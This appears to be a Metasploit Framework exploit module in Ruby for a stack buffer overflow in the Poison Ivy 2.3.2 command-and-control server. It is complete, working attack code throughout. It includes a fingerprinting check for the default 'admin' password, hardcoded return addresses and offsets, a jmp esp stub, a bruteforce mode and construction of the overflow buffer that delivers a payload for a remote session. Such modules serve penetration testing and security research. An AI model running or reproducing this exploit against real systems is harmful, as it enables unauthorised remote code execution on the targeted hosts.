185 lines
6.2 KiB
Ruby
185 lines
6.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Brute
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def initialize(info = {})
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super(update_info(info,
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'Name' => "Poison Ivy 2.3.2 C&C Server Buffer Overflow",
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'Description' => %q{
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This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
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The exploit does not need to know the password chosen for the bot/server
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communication. If the C&C is configured with the default 'admin' password,
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the exploit should work fine. In case of the C&C configured with another
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password the exploit can fail. The 'check' command can be used to determine
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if the C&C target is using the default 'admin' password.
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Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
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responsible of handling the connection. Because of this the module provides the
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RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header
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will be used. If the bruteforce target is selected, a random header will be sent in
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case the default for the password 'admin' doesn't work. Bruteforce will stop after
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5 tries or a session obtained.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Andrzej Dereszowski', # Vulnerability Discovery
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'Gal Badishi', # Exploit and Metasploit module
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'juan vazquez' # Testing and little of Metasploit-fu
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],
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'References' =>
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[
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[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
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[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
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],
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'DisclosureDate' => "Jun 24 2012",
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'StackAdjustment' => -4000,
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'Space' => 10000,
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'BadChars' => "",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
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{
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'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
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'RWAddress' => 0x00401000,
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'Offset' => 0x806D,
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'PayloadOffset' => 0x75,
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'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
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}
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],
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[
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'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
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{
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'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
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'RWAddress' => 0x00401000,
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'Offset' => 0x806D,
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'PayloadOffset' => 0x75,
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'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
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'Bruteforce' =>
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{
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'Start' => { 'Try' => 1 },
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'Stop' => { 'Try' => 6 },
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'Step' => 1,
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'Delay' => 2
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}
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}
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]
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],
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'DefaultTarget' => 0
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))
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register_options(
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[
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Opt::RPORT(3460),
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OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
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], self.class)
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register_advanced_options(
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[
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OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
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], self.class)
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end
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def check
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sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
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lensig = [0x000015D0].pack("V")
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connect
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sock.put("\x00" * 256)
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response = sock.read(256)
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datalen = sock.read(4)
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disconnect
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if datalen == lensig
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if response[0, 16] == sig
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print_status("Password appears to be \"admin\"")
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else
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print_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
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end
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def single_exploit
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if datastore['RANDHEADER'] == true
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# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
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header = rand_text(0x20)
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else
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# This is the 32-byte header we want to send, encrypted with the default password ("admin")
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# We have a very good chance of succeeding even if the password was changed
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header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
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end
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do_exploit(header)
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end
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def brute_exploit(brute_target)
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if brute_target['Try'] == 1
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print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
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# This is the 32-byte header we want to send, encrypted with the default password ("admin")
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# We have a very good chance of succeeding even if the password was changed
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header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
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else
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print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
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# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
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header = rand_text(0x20)
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end
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do_exploit(header)
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end
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def do_exploit(header)
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# Handshake
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connect
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print_status("Performing handshake...")
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sock.put("\x00" * 256)
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sock.get
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# Don't change the nulls, or it might not work
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xploit = ''
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xploit << header
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xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
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xploit << payload.encoded
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xploit << "\x00" * (target['Offset'] - xploit.length)
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xploit << [target.ret].pack("V") # ret to a jmp esp opcode
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xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
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xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)
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# The disconnection triggers the exploit
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print_status("Sending exploit...")
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sock.put(xploit)
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select(nil,nil,nil,5)
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disconnect
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end
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end
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=begin
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* ROP version of exploit(): Has been discarded at the moment because of two reasons:
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(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process)
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(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter
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=end
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